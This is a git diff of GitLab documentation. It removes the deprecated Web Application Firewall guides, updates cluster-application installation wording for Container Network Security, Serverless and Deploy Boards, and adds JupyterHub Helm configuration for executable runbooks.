**(FREE)** Container Network Security in GitLab provides basic firewall functionality by leveraging Cilium NetworkPolicies to filter traffic going in and out of the cluster as well as traffic between pods @@ -20,8 +20,8 @@ disabled by default, as they must usually be customized to match application-spe See the [installation guide](quick_start_guide.md) for the recommended steps to install GitLab Container Network Security. This guide shows the recommended way of installing Container Network -Security through GMAv2. However, it's also possible to install Cilium manually through our Helm -chart. +Security through the Cluster Management Project. However, it's also possible to install Cilium +manually through our Helm chart. ## Features diff --git a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md index bf419c69885..33aefec224a 100644 --- a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md +++ b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md @@ -4,11 +4,9 @@ group: Container Security info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Getting started with Container Network Security +# Getting started with Container Network Security **(FREE)** -The following steps are recommended for installing Container Network Security. Although you can -install some capabilities through GMAv1, we [recommend](#using-gmav1-with-gmav2) that you install -applications through GMAv2 exclusively when using Container Network Security. +The following steps are recommended for installing Container Network Security. ## Installation steps @@ -21,8 +19,7 @@ The following steps are recommended to install and use Container Network Securit 1. Install and configure an Ingress node: - - [Install the Ingress node via CI/CD (GMAv2)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd). - - [Determine the external endpoint via the manual method](../../../../clusters/applications.md#determining-the-external-endpoint-manually). + - [Install the Ingress node via CI/CD (Cluster Management Project)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd). - Navigate to the Kubernetes page and enter the [DNS address for the external endpoint](../../index.md#base-domain) into the **Base domain** field on the **Details** tab. Save the changes to the Kubernetes cluster. @@ -60,7 +57,7 @@ use both methods simultaneously, when the application project pipeline runs the NetworkPolicy in the `auto-deploy-values.yaml` file may override policies configured in the UI editor. -## Monitoring throughput `**(ULTIMATE)**` +## Monitoring throughput **(ULTIMATE)** To view statistics for Container Network Security, you must follow the installation steps above and configure GitLab integration with Prometheus. Also, if you use custom Helm values for Cilium, you @@ -83,12 +80,8 @@ Additional information about the statistics page is available in the ## Forwarding logs to a SIEM Cilium logs can be forwarded to a SIEM or an external logging system through syslog protocol by -installing and configuring Fluentd. Fluentd can be installed through GitLab in two ways: - -- The [GMAv1 method](../../../../clusters/applications.md#fluentd) -- The [GMAv2 method](../../../../clusters/applications.md#install-fluentd-using-gitlab-cicd) - -GitLab strongly encourages using only the GMAv2 method to install Fluentd. +installing and configuring Fluentd. Fluentd can be installed through the GitLab +[Cluster Management Project](../../../../clusters/applications.md#install-fluentd-using-gitlab-cicd). ## Viewing the logs @@ -135,19 +128,6 @@ initial troubleshooting steps that resolve the most common problems: - Delete the relevant namespace in Kubernetes by running `kubectl delete namespaces <insert-some-namespace-name>` in your Kubernetes cluster. - Rerun the application project pipeline to redeploy the application. -### Using GMAv1 with GMAv2 - -When GMAv1 and GMAv2 are used together on the same cluster, users may experience problems with -applications being uninstalled or removed from the cluster. This is because GMAv2 actively -uninstalls applications that are installed with GMAv1 and not configured to be installed with GMAv2. -It's possible to use a mixture of applications installed with GMAv1 and GMAv2 by ensuring that the -GMAv1 applications are installed **after** the GMAv2 cluster management project pipeline runs. GMAv1 -applications must be reinstalled after each run of that pipeline. This approach isn't recommended as -it's error-prone and can lead to downtime as applications are uninstalled and later reinstalled. -When using Container Network Security, the preferred and recommended path is to install all -necessary components with GMAv2 and the cluster management project. - **Related documentation links:** -- [GitLab Managed Apps v1 (GMAv1)](../../../../clusters/applications.md#install-with-one-click-deprecated) -- [GitLab Managed Apps v2 (GMAv2)](../../../../clusters/management_project.md) +- [Cluster Management Project](../../../../clusters/management_project.md) diff --git a/doc/user/project/clusters/protect/index.md b/doc/user/project/clusters/protect/index.md index c489a0ddd30..1314a1948d5 100644 --- a/doc/user/project/clusters/protect/index.md +++ b/doc/user/project/clusters/protect/index.md @@ -4,7 +4,7 @@ group: Container Security info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Protecting your deployed applications +# Protecting your deployed applications **(FREE)** GitLab makes it straightforward to protect applications deployed in [connected Kubernetes clusters](index.md). These protections are available in the Kubernetes network layer and in the container itself. At @@ -18,9 +18,6 @@ containers themselves. The following capabilities are available to protect deployed applications in Kubernetes: -- Web Application Firewall - - [Overview](web_application_firewall/index.md) - - [Installation guide](web_application_firewall/quick_start_guide.md) - Container Network Security - [Overview](container_network_security/index.md) - [Installation guide](container_network_security/quick_start_guide.md) diff --git a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png b/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png Binary files differdeleted file mode 100644 index 2dd6df3d37b..00000000000 --- a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png +++ /dev/null diff --git a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_installation_v12_10.png b/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_installation_v12_10.png Binary files differdeleted file mode 100644 index e88f62a2eba..00000000000 --- a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_installation_v12_10.png +++ /dev/null diff --git a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png b/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png Binary files differdeleted file mode 100644 index 1c99d4f7f96..00000000000 --- a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png +++ /dev/null diff --git a/doc/user/project/clusters/protect/web_application_firewall/index.md b/doc/user/project/clusters/protect/web_application_firewall/index.md deleted file mode 100644 index 6e2e71c6ced..00000000000 --- a/doc/user/project/clusters/protect/web_application_firewall/index.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -stage: Protect -group: Container Security -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments ---- - -# Web Application Firewall - -WARNING: -The Web Application Firewall is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/271276) -in GitLab 13.6, and planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/271349) -in GitLab 14.0. - -A web application firewall (or WAF) filters, monitors, and blocks HTTP traffic to -and from a web application. By inspecting HTTP traffic, it can prevent attacks -stemming from web application security flaws. It can be used to detect SQL injection, -Cross-Site Scripting (XSS), Remote File Inclusion, Security Misconfigurations, and -much more. - -## Overview - -GitLab provides a WAF out of the box after Ingress is deployed. All you need to do is deploy your -application along with a service and Ingress resource. In the GitLab [Ingress](../../../../clusters/applications.md#ingress) -deployment, the [ModSecurity](https://modsecurity.org/) -module is loaded into Ingress-NGINX by default and monitors the traffic to the applications -which have an Ingress. The ModSecurity module runs with the [OWASP Core Rule Set (CRS)](https://coreruleset.org/) -by default. The OWASP CRS detects and logs a wide range of common attacks. - -By default, the WAF is deployed in Detection-only mode and only logs attack attempts. - -## Requirements - -The Web Application Firewall requires: - -- **Kubernetes** - - To enable the WAF, you need: - - - Kubernetes 1.12+. - - A load balancer. You can use NGINX-Ingress by deploying it to your - Kubernetes cluster by either: - - Using the [`nginx-ingress` Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). - - Installing the [Ingress GitLab Managed App](../../../../clusters/applications.md#ingress) with WAF enabled. - -- **Configured Kubernetes objects** - - To use the WAF on an application, you need to deploy the following Kubernetes resources: - - - [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) - - [Service](https://kubernetes.io/docs/concepts/services-networking/service/) - - [Ingress Resource](https://kubernetes.io/docs/concepts/services-networking/ingress/) - -## Quick start - -If you are using GitLab.com, see the [quick start guide](quick_start_guide.md) for -how to use the WAF with GitLab.com and a Kubernetes cluster on Google Kubernetes Engine (GKE). - -If you are using a self-managed instance of GitLab, you must configure the -[Google OAuth2 OmniAuth Provider](../../../../../integration/google.md) before -you can configure a cluster on GKE. Once this is set up, you can follow the steps on the -[quick start guide](quick_start_guide.md) -to get started. - -NOTE: -This guide shows how the WAF can be deployed using Auto DevOps. The WAF -is available by default to all applications no matter how they are deployed, -as long as they are using Ingress. - -## Network firewall vs. Web Application Firewall - -A network firewall or packet filter looks at traffic at the Network (L3) and Transport (L4) layers -of the [OSI Model](https://en.wikipedia.org/wiki/OSI_model), and denies packets from entry based on -a set of rules regarding the network in general. - -A Web Application Firewall operates at the Application (L7) layer of the OSI Model and can -examine all the packets traveling to and from a specific application. A WAF can set -more advanced rules around threat detection. - -## Features - -ModSecurity is enabled with the [OWASP Core Rule Set (CRS)](https://github.com/coreruleset/coreruleset/) by -default. The OWASP CRS logs attempts to the following attacks: - -- [SQL Injection](https://wiki.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_SQL_Injection) -- [Cross-Site Scripting](https://wiki.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_Cross-Site_Scripting_(XSS)) -- [Local File Inclusion](https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion) -- [Remote File Inclusion](https://wiki.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_Remote_File_Inclusion) -- [Code Injection](https://wiki.owasp.org/index.php/Code_Injection) -- [Session Fixation](https://wiki.owasp.org/index.php/Session_fixation) -- [Scanner Detection](https://wiki.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) -- [Metadata/Error Leakages](https://wiki.owasp.org/index.php/Improper_Error_Handling) - -It is good to have a basic knowledge of the following: - -- [Kubernetes](https://kubernetes.io/docs/home/) -- [Ingress](https://kubernetes.github.io/ingress-nginx/) -- [ModSecurity](https://www.modsecurity.org/) -- [OWASP Core Rule Set](https://github.com/coreruleset/coreruleset/) - -## Roadmap - -You can find more information on the product direction of the WAF in -[Category Direction - Web Application Firewall](https://about.gitlab.com/direction/protect/web_application_firewall/). diff --git a/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md b/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md deleted file mode 100644 index e7d8d591510..00000000000 --- a/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md +++ /dev/null @@ -1,265 +0,0 @@ ---- -stage: Protect -group: Container Security -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments ---- - -# Getting started with the Web Application Firewall - -WARNING: -The Web Application Firewall is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/271276) -in GitLab 13.6, and planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/271349) -in GitLab 14.0. - -This is a step-by-step guide to help you use the GitLab [Web Application Firewall](index.md) after -deploying a project hosted on GitLab.com to Google Kubernetes Engine using [Auto DevOps](../../../../../topics/autodevops/index.md). - -The GitLab native Kubernetes integration is used, so you do not need -to create a Kubernetes cluster manually using the Google Cloud Platform console. -A simple application is created and deployed based on a GitLab template. - -These instructions also work for a self-managed GitLab instance. However, you -need to ensure your own [runners are configured](../../../../../ci/runners/README.md) and -[Google OAuth is enabled](../../../../../integration/google.md). - -The GitLab Web Application Firewall is deployed with [Ingress](../../../../clusters/applications.md#ingress), -so it is available to your applications no matter how you deploy them to Kubernetes. - -## Configuring your Google account - -Before creating and connecting your Kubernetes cluster to your GitLab project, -you need a Google Cloud Platform account. If you do not already have one, -sign up at <https://console.cloud.google.com>. You need to either sign in with an existing -Google account (for example, one that you use to access Gmail, Drive, etc.) or create a new one. - -1. To enable the required APIs and related services, follow the steps in the ["Before you begin" section of the Kubernetes Engine docs](https://cloud.google.com/kubernetes-engine/docs/quickstart#before-you-begin). -1. Make sure you have created a [billing account](https://cloud.google.com/billing/docs/how-to/manage-billing-account). - -NOTE: -Every new Google Cloud Platform (GCP) account receives [$300 in credit](https://console.cloud.google.com/freetrial), -and in partnership with Google, GitLab is able to offer an additional $200 for new GCP accounts to get started with the GitLab -Google Kubernetes Engine integration. All you have to do is [follow this link](https://cloud.google.com/partners/partnercredit/?PCN=a0n60000006Vpz4AAC) and apply for credit. - -## Creating a new project from a template - -We use a GitLab project templates to get started. As the name suggests, -those projects provide a bare-bones application built on some well-known frameworks. - -1. In GitLab, click the plus icon (**+**) at the top of the navigation bar and select - **New project**. -1. Go to the **Create from template** tab where you can choose for example a Ruby on - Rails, Spring, or NodeJS Express project. - Use the Ruby on Rails template. - -  - -1. Give your project a name, optionally a description, and make it public so that - you can take advantage of the features available in the - [GitLab Ultimate plan](https://about.gitlab.com/pricing/). - -  - -1. Click **Create project**. - -Now that the project is created, the next step is to create the Kubernetes cluster -to deploy this application under. - -## Creating a Kubernetes cluster from within GitLab - -1. On the project's landing page, click **Add Kubernetes cluster** - (note that this option is also available when you navigate to **Operations > Kubernetes**). - -  - -1. On the **Create new cluster on GKE** tab, click **Sign in with Google**. - -  - -1. Connect with your Google account and click **Allow** when asked (this - appears only the first time you connect GitLab with your Google account). - -  - -1. The last step is to provide the cluster details. - 1. Give it a name, leave the environment scope as is, and choose the GCP project under which to create the cluster. - (Per the instructions to [configure your Google account](#configuring-your-google-account), a project should have already been created for you.) - 1. Choose the [region/zone](https://cloud.google.com/compute/docs/regions-zones/) to create the cluster in. - 1. Enter the number of nodes you want it to have. - 1. Choose the [machine type](https://cloud.google.com/compute/docs/machine-types). - -  - -1. Click **Create Kubernetes cluster**. - -After a couple of minutes, the cluster is created. You can also see its -status on your [GCP dashboard](https://console.cloud.google.com/kubernetes). - -The next step is to install some applications on your cluster that are needed -to take full advantage of Auto DevOps. - -## Install Ingress - -The GitLab Kubernetes integration comes with some -[pre-defined applications](../../index.md#installing-applications) -for you to install. - - - -For this guide, we need to install Ingress. Ingress provides load balancing, -SSL termination, and name-based virtual hosting, using NGINX behind -the scenes. Make sure to switch the toggle to the enabled position before installing. - -Both logging and blocking modes are available for WAF. While logging mode is useful for -auditing anomalous traffic, blocking mode ensures the traffic doesn't reach past Ingress. - - - -After Ingress is installed, wait a few seconds and copy the IP address that -is displayed in order to add in your base **Domain** at the top of the page. For -the purpose of this guide, we use the one suggested by GitLab. Once you have -filled in the domain, click **Save changes**. - - - -Prometheus should also be installed. It is an open-source monitoring and -alerting system that is used to supervise the deployed application. -Installing GitLab Runner is not required as we use the shared runners that -GitLab.com provides. - -## Enabling Auto DevOps (optional) - -Starting with GitLab 11.3, Auto DevOps is enabled by default. However, it is possible to disable -Auto DevOps at both the instance-level (for self-managed instances) and the group-level. -Follow these steps if Auto DevOps has been manually disabled: - -1. Navigate to **Settings > CI/CD > Auto DevOps**. -1. Select **Default to Auto DevOps pipeline**. -1. Select the [continuous deployment strategy](../../../../../topics/autodevops/index.md#deployment-strategy) - which automatically deploys the application to production once the pipeline - successfully runs on the `master` branch. -1. Click **Save changes**. - -  - -Once you complete all the above and save your changes, a new pipeline is -automatically created. To view the pipeline, go to **CI/CD > Pipelines**. - - - -The next section explains what each pipeline job does. - -## Deploying the application - -By now you should see the pipeline running, but what is it running exactly? - -To navigate inside the pipeline, click its status badge (its status should be "Running"). -The pipeline is split into a few stages, each running a couple of jobs. - - - -In the **build** stage, the application is built into a Docker image and then -uploaded to your project's [Container Registry](../../../../packages/container_registry/index.md) -([Auto Build](../../../../../topics/autodevops/stages.md#auto-build)). - -In the **test** stage, GitLab runs various checks on the application. - -The **production** stage is run after the tests and checks finish, and it automatically -deploys the application in Kubernetes ([Auto Deploy](../../../../../topics/autodevops/stages.md#auto-deploy)). - -The **production** stage creates Kubernetes objects -like a Deployment, Service, and Ingress resource. The -application is monitored by the WAF automatically. - -## Validating Ingress is running ModSecurity - -Now we can make sure that Ingress is running properly with ModSecurity and send -a request to ensure our application is responding correctly. You must connect to -your cluster either using [Cloud Shell](https://cloud.google.com/shell/) or the [Google Cloud SDK](https://cloud.google.com/sdk/docs/install). - -1. After connecting to your cluster, check if the Ingress-NGINX controller is running and ModSecurity is enabled. - - This is done by running the following commands: - - ```shell - $ kubectl get pods -n gitlab-managed-apps | grep 'ingress-controller' - ingress-nginx-ingress-controller-55f9cf6584-dxljn 2/2 Running - - $ kubectl -n gitlab-managed-apps exec -it $(kubectl get pods -n gitlab-managed-apps | grep 'ingress-controller' | awk '{print $1}') -- cat /etc/nginx/nginx.conf | grep 'modsecurity on;' - modsecurity on; - ``` - -1. Verify the Rails application has been installed properly. - - ```shell - $ kubectl get ns - auto-devv-2-16730183-production Active - - $ kubectl get pods -n auto-devv-2-16730183-production - NAME READY STATUS RESTARTS - production-5778cfcfcd-nqjcm 1/1 Running 0 - production-postgres-6449f8cc98-r7xgg 1/1 Running 0 - ``` - -1. To make sure the Rails application is responding, send a request to it by running: - - ```shell - $ kubectl get ing -n auto-devv-2-16730183-production - NAME HOSTS PORTS - production-auto-deploy fjdiaz-auto-devv-2.34.68.60.207.nip.io,le-16730183.34.68.60.207.nip.io 80, 443 - - $ curl --location --insecure "fjdiaz-auto-devv-2.34.68.60.207.nip.io" | grep 'Rails!' --after 2 --before 2 - <body> - <p>You're on Rails!</p> - </body> - ``` - -Now that we have confirmed our system is properly setup, we can go ahead and test -the WAF with OWASP CRS! - -## Testing out the OWASP Core Rule Set - -Now let's send a potentially malicious request, as if we were a scanner, -checking for vulnerabilities within our application and examine the ModSecurity logs: - -```shell -$ curl --location --insecure "fjdiaz-auto-devv-2.34.68.60.207.nip.io" --header "User-Agent: absinthe" | grep 'Rails!' --after 2 --before 2 -<body> - <p>You're on Rails!</p> -</body> - -$ kubectl -n gitlab-managed-apps exec -it $(kubectl get pods -n gitlab-managed-apps | grep 'ingress-controller' | awk '{print $1}') -- cat /var/log/modsec/audit.log | grep 'absinthe' -{ - "message": "Found User-Agent associated with security scanner", - "details": { - "match": "Matched \"Operator `PmFromFile' with parameter `scanners-user-agents.data' against variable `REQUEST_HEADERS:user-agent' (Value: `absinthe' )", - "reference": "o0,8v84,8t:lowercase", - "ruleId": "913100", - "file": "/etc/nginx/owasp-modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf", - "lineNumber": "33", - "data": "Matched Data: absinthe found within REQUEST_HEADERS:user-agent: absinthe", - "severity": "2", - "ver": "OWASP_CRS/3.2.0", - "rev": "", - "tags": ["application-multi", "language-multi", "platform-multi", "attack-reputation-scanner", "OWASP_CRS", "OWASP_CRS/AUTOMATION/SECURITY_SCANNER", "WASCTC/WASC-21", "OWASP_TOP_10/A7", "PCI/6.5.10"], - "maturity": "0", - "accuracy": "0" - } -} -``` - -You can see that ModSecurity logs the suspicious behavior. By sending a request -with the `User Agent: absinthe` header, which [absinthe](https://github.com/cameronhotchkies/Absinthe), -a tool for testing for SQL injections uses, we can detect that someone was -searching for vulnerabilities on our system. Detecting scanners is useful, because we -can learn if someone is trying to exploit our system. - -## Conclusion - -You can now see the benefits of a using a Web Application Firewall. -ModSecurity and the OWASP Core Rule Set, offer many more benefits. -You can explore them in more detail: - -- [Category Direction - Web Application Firewall](https://about.gitlab.com/direction/protect/web_application_firewall/) -- [ModSecurity](https://www.modsecurity.org/) -- [OWASP Core Rule Set](https://github.com/coreruleset/coreruleset/) -- [AutoDevOps](../../../../../topics/autodevops/index.md) diff --git a/doc/user/project/clusters/runbooks/index.md b/doc/user/project/clusters/runbooks/index.md index e0b8c074fcf..b2054c4befb 100644 --- a/doc/user/project/clusters/runbooks/index.md +++ b/doc/user/project/clusters/runbooks/index.md @@ -63,18 +63,93 @@ information. Follow this step-by-step guide to configure an executable runbook in GitLab using the components outlined above and the pre-loaded demo runbook. -1. Add a Kubernetes cluster to your project by following the steps outlined in - [Create new cluster](../add_remove_clusters.md#create-new-cluster). - -1. Click the **Install** button next to the **Ingress** application to install Ingress. - -  - -1. After Ingress has been installed successfully, click the **Install** button next - to the **JupyterHub** application. You need the **Jupyter Hostname** provided - here in the next step. - -  +1. Create an [OAuth Application for JupyterHub](../../../../integration/oauth_provider.md#gitlab-as-oauth2-authentication-service-provider). +1. When [installing JupyterHub with Helm](https://zero-to-jupyterhub.readthedocs.io/en/latest/jupyterhub/installation.html), use the following values + + ```yaml + #----------------------------------------------------------------------------- + # The gitlab and ingress sections must be customized! + #----------------------------------------------------------------------------- + + gitlab: + clientId: <Your OAuth Application ID> + clientSecret: <Your OAuth Application Secret> + callbackUrl: http://<Jupyter Hostname>/hub/oauth_callback, + # Limit access to members of specific projects or groups: + # allowedGitlabGroups: [ "my-group-1", "my-group-2" ] + # allowedProjectIds: [ 12345, 6789 ] + + # ingress is required for OAuth to work + ingress: + enabled: true + host: <JupyterHostname> + # tls: + # - hosts: + # - <JupyterHostanme> + # secretName: jupyter-cert + # annotations: + # kubernetes.io/ingress.class: "nginx" + # kubernetes.io/tls-acme: "true" + + #----------------------------------------------------------------------------- + # NO MODIFICATIONS REQUIRED BEYOND THIS POINT + #----------------------------------------------------------------------------- + + hub: + extraEnv: + JUPYTER_ENABLE_LAB: 1 + extraConfig: | + c.KubeSpawner.cmd = ['jupyter-labhub'] + c.GitLabOAuthenticator.scope = ['api read_repository write_repository'] + + async def add_auth_env(spawner): + ''' + We set user's id, login and access token on single user image to + enable repository integration for JupyterHub. + See: https://gitlab.com/gitlab-org/gitlab-foss/issues/47138#note_154294790 + ''' + auth_state = await spawner.user.get_auth_state() + + if not auth_state: + spawner.log.warning("No auth state for %s", spawner.user) + return + + spawner.environment['GITLAB_ACCESS_TOKEN'] = auth_state['access_token'] + spawner.environment['GITLAB_USER_LOGIN'] = auth_state['gitlab_user']['username'] + spawner.environment['GITLAB_USER_ID'] = str(auth_state['gitlab_user']['id']) + spawner.environment['GITLAB_USER_EMAIL'] = auth_state['gitlab_user']['email'] + spawner.environment['GITLAB_USER_NAME'] = auth_state['gitlab_user']['name'] + + c.KubeSpawner.pre_spawn_hook = add_auth_env + + auth: + type: gitlab + state: + enabled: true + + singleuser: + defaultUrl: "/lab" + image: + name: registry.gitlab.com/gitlab-org/jupyterhub-user-image + tag: latest + lifecycleHooks: + postStart: + exec: + command: + - "sh" + - "-c" + - > + git clone https://gitlab.com/gitlab-org/nurtch-demo.git DevOps-Runbook-Demo || true; + echo "https://oauth2:${GITLAB_ACCESS_TOKEN}@${GITLAB_HOST}" > ~/.git-credentials; + git config --global credential.helper store; + git config --global user.email "${GITLAB_USER_EMAIL}"; + git config --global user.name "${GITLAB_USER_NAME}"; + jupyter serverextension enable --py jupyterlab_git + + proxy: + service: + type: ClusterIP + ``` 1. After JupyterHub has been installed successfully, open the **Jupyter Hostname** in your browser. Click the **Sign in with GitLab** button to log in to diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md index e355b562c36..e4ac1eabffe 100644 --- a/doc/user/project/clusters/serverless/index.md +++ b/doc/user/project/clusters/serverless/index.md @@ -15,7 +15,7 @@ Serverless is currently in [alpha](https://about.gitlab.com/handbook/product/git Serverless architectures offer Operators and Developers the ability write highly scalable applications without provisioning a single server. -GitLab supports several ways deploy Serverless applications in both Kubernetes Environments and also major cloud FAAS environments. +GitLab supports several ways deploy Serverless applications in both Kubernetes Environments and also major cloud Function as a Service (FaaS) environments. Currently we support: @@ -35,7 +35,7 @@ of the box through its main components: For more information on Knative, visit the [Knative docs repository](https://github.com/knative/docs). -With GitLab Serverless, you can deploy both functions-as-a-service (FaaS) and serverless applications. +With GitLab Serverless, you can deploy both FaaS and serverless applications. ## Prerequisites @@ -53,7 +53,7 @@ To run Knative on GitLab, you need: The set of minimum recommended cluster specifications to run Knative is 3 nodes, 6 vCPUs, and 22.50 GB memory. 1. **GitLab Runner:** A runner is required to run the CI jobs that deploy serverless applications or functions onto your cluster. You can install GitLab Runner - onto the existing Kubernetes cluster. See [Installing Applications](../index.md#installing-applications) for more information. + onto the [existing Kubernetes cluster](https://docs.gitlab.com/runner/install/kubernetes.html). 1. **Domain Name:** Knative provides its own load balancer using Istio, and an external IP address or hostname for all the applications served by Knative. Enter a wildcard domain to serve your applications. Configure your DNS server to use the @@ -68,54 +68,18 @@ To run Knative on GitLab, you need: `Dockerfile` in order to build your applications. It should be included at the root of your project's repository and expose port `8080`. `Dockerfile` is not require if you plan to build serverless functions using our [runtimes](https://gitlab.com/gitlab-org/serverless/runtimes). -1. **Prometheus** (optional): Installing Prometheus allows you to monitor the scale and traffic of your serverless function/application. - See [Installing Applications](../index.md#installing-applications) for more information. +1. **Prometheus** (optional): The [Prometheus cluster integration](../../../clusters/integrations.md#prometheus-cluster-integration) + allows you to monitor the scale and traffic of your serverless function/application. 1. **Logging** (optional): Configuring logging allows you to view and search request logs for your serverless function/application. See [Configuring logging](#configuring-logging) for more information. -## Installing Knative via the GitLab Kubernetes integration - -The minimum recommended cluster size to run Knative is 3-nodes, 6 vCPUs, and 22.50 GB -memory. **RBAC must be enabled.** - -1. [Add a Kubernetes cluster](../add_remove_clusters.md). -1. Select the **Applications** tab and scroll down to the Knative app section. Enter the domain to be used with - your application/functions (e.g. `example.com`) and click **Install**. - -  - -1. After the Knative installation has finished, you can wait for the IP address or hostname to be displayed in the - **Knative Endpoint** field or [retrieve the Istio Ingress Endpoint manually](../../../clusters/applications.md#determining-the-external-endpoint-manually). - - NOTE: - Running `kubectl` commands on your cluster requires setting up access to the cluster first. - For clusters created on GKE, see [GKE Cluster Access](https://cloud.google.com/kubernetes-engine/docs/how-to/cluster-access-for-kubectl), - for other platforms [Install kubectl](https://kubernetes.io/docs/tasks/tools/). - -1. The Ingress is now available at this address and routes incoming requests to the proper service based on the DNS - name in the request. To support this, a wildcard DNS record should be created for the desired domain name. For example, - if your Knative base domain is `knative.info` then you need to create an A record or CNAME record with domain `*.knative.info` - pointing the IP address or hostname of the Ingress. - -  - -You can deploy either [functions](#deploying-functions) or [serverless applications](#deploying-serverless-applications) -on a given project, but not both. The current implementation makes use of a -`serverless.yml` file to signal a FaaS project. - -## Using an existing installation of Knative +## Configuring Knative > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/58941) in GitLab 12.0. -The _invocations_ monitoring feature of GitLab serverless is unavailable when -adding an existing installation of Knative. - -It's also possible to use GitLab Serverless with an existing Kubernetes cluster -which already has Knative installed. You must do the following: - 1. Follow the steps to - [add an existing Kubernetes - cluster](../add_remove_clusters.md#add-existing-cluster). + [add a Kubernetes + cluster](../add_remove_clusters.md). 1. Ensure GitLab can manage Knative: - For a non-GitLab managed cluster, ensure that the service account for the token @@ -164,13 +128,17 @@ which already has Knative installed. You must do the following: kubectl apply -f knative-serving-only-role.yaml ``` - If you would rather grant permissions on a per service account basis, you can do this - using a `Role` and `RoleBinding` specific to the service account and namespace. + Alternatively, permissions can be granted on a per-service account basis + using `Role`s and `RoleBinding`s (see the [Kubernetes RBAC + documentation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) + for more information). 1. Follow the steps to deploy [functions](#deploying-functions) or [serverless applications](#deploying-serverless-applications) onto your cluster. +1. **Optional:** For invocation metrics to show in GitLab, additional Istio metrics need to be configured in your cluster. For example, with Knative v0.9.0, you can use [this manifest](https://gitlab.com/gitlab-org/charts/knative/-/raw/v0.10.0/vendor/istio-metrics.yml). + ## Supported runtimes Serverless functions for GitLab can be run using: @@ -183,7 +151,7 @@ If a runtime is not available for the required programming language, consider de ### GitLab-managed runtimes -Currently the following GitLab-managed [runtimes](https://gitlab.com/gitlab-org/serverless/runtimes) +The following GitLab-managed [runtimes](https://gitlab.com/gitlab-org/serverless/runtimes) are available: - `go` (proof of concept) @@ -352,7 +320,7 @@ After the `gitlab-ci.yml` template has been added and the `serverless.yml` file has been created, pushing a commit to your project results in a CI pipeline being executed which deploys each function as a Knative service. After the deploy stage has finished, additional details for the function display -under **Operations > Serverless**. +under **Infrastructure > Serverless platform**.  @@ -486,7 +454,7 @@ With all the pieces in place, the next time a CI pipeline runs the Knative appli ### Function details -Go to the **Operations > Serverless** page to see the final URL of your functions. +Go to the **Infrastructure > Serverless platform** page to see the final URL of your functions.  @@ -499,10 +467,10 @@ rows to bring up the function details page. The pod count gives you the number of pods running the serverless function instances on a given cluster. -For the Knative function invocations to appear, -[Prometheus must be installed](../index.md#installing-applications). +For the Knative function invocations to appear, the +[Prometheus cluster integration must be enabled](../../../clusters/integrations.md#prometheus-cluster-integration). -Once Prometheus is installed, a message may appear indicating that the metrics data _is +Once Prometheus is enabled, a message may appear indicating that the metrics data _is loading or is not available at this time._ It appears upon the first access of the page, but should go away after a few seconds. If the message does not disappear, then it is possible that GitLab is unable to connect to the Prometheus instance running on the @@ -611,7 +579,7 @@ or with other versions of Python. Where `<namespace>` is the namespace created by GitLab for your serverless project (composed of `<project_name>-<project_id>-<environment>`) and `example.com` is the domain being used for your project. If you are unsure what the namespace of your project is, navigate - to the **Operations > Serverless** page of your project and inspect + to the **Infrastructure > Serverless platform** page of your project and inspect the endpoint provided for your function/app.  diff --git a/doc/user/project/deploy_boards.md b/doc/user/project/deploy_boards.md index 804c013d317..89c82d4dc6f 100644 --- a/doc/user/project/deploy_boards.md +++ b/doc/user/project/deploy_boards.md @@ -117,7 +117,7 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/  Once all of the above are set up and the pipeline has run at least once, -navigate to the environments page under **Operations > Environments**. +navigate to the environments page under **Deployments > Environments**. Deploy Boards are visible by default. You can explicitly click the triangle next to their respective environment name in order to hide them. diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md index a6b54474a9e..c0bc97781b6 100644 --- a/doc/user/project/deploy_keys/index.md +++ b/doc/user/project/deploy_keys/index.md @@ -28,7 +28,7 @@ repository in automation, it's a simple solution. A drawback is that your repository could become 